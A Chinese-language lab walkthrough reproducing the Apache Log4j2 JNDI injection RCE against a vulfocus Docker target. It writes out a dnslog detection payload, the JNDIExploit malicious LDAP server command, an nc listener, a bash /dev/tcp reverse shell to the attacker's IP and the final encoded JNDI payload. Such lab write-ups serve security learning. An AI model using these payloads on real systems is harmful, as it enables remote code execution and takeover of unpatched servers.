Apache-Log4j2-Rce漏洞复现
最近最热门的无非是最近爆出的超大boss—Apache log4j2组件的rce漏洞。安全圈俗称'过年',漏洞影响范围之广,危害之大堪比当年的永恒之蓝。由于最近爆出,危害程度目前还正在不断扩大中。超多的大佬已经复现了,那么作为网络安全的小白,不复现一下就是对不起自己。!!!
Apache log4j介绍
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面开始复现
1,首先搭建靶场:
使用docker环境搭建靶场,应该说是最最方便的了。至于docker环境的安装这里就不用我多讲了。
拉取镜像:
docker pull vulfocus/log4j2-rce-2021-12-09
root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09 Using default tag: latest latest: Pulling from vulfocus/log4j2-rce-2021-12-09 7b1a6ab2e44d: Pull complete 137d0593639e: Pull complete 4f4fb700ef54: Pull complete 830718d01660: Pull complete a08ba33271e9: Pull complete f26156a19734: Pull complete Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982 Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest docker.io/vulfocus/log4j2-rce-2021-12-09:latest
启动docker容器:
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311
访问:ip:38080即可。出现如下页面表示靶机搭建完成。
2,dnslog检测漏洞存在:
访问存在漏洞页面:http://192.168.145.128:38080/hello,抓包。
漏洞存在点在payload参数,payload格式为:${jndi:ldap://xxx.dnslog.cn/exp}
注意,这时把get请求改为post,同时添加请求头:Content-Type:application/x-www-form-urlencoded
刷新dnslog.cn:
发现dnslog.cn记录,说明存在log4j2-rce漏洞。
3,反弹Shell:以下操作均在攻击机上(192.168.145.142)
使用JNDIExploit-1.2-SNAPSHOT.jar搭建恶意的jndi服务。这里我们使用的是ldap的1389端口
┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2] └─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8080...
开启nc监听
┌──(kali㉿kali)-[~/Desktop] └─$ nc -lvnp 8888 listening on [any] 8888 ...
这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。
反弹shell paylaod:
bash -i >& /dev/tcp/192.168.145.142/8888 0>&1
进行base64编码然后两次url编码:(看情况,有时可能只需要url编码一次,有时需要url编码2次,也有可能不需要url编码,看1389端口返回执行的具体command命令到底是多少,然后决定怎么进行编码。在最终的command命令下,必须要解析为正确的反弹shell命令,如下,如果解析失败的话,会提示Exception: Incorrect params:错误,这个时候需要修改url编码让它能够正确解析。)
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx
最终payload为:
${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}
在burp里面,如果不成功,就把这个参数进行url全编码,在此发送,url全编码还是比较好用的。
发送数据包,触发漏洞,反弹shell:有可能会等待时间较久,需要有耐心。
完毕。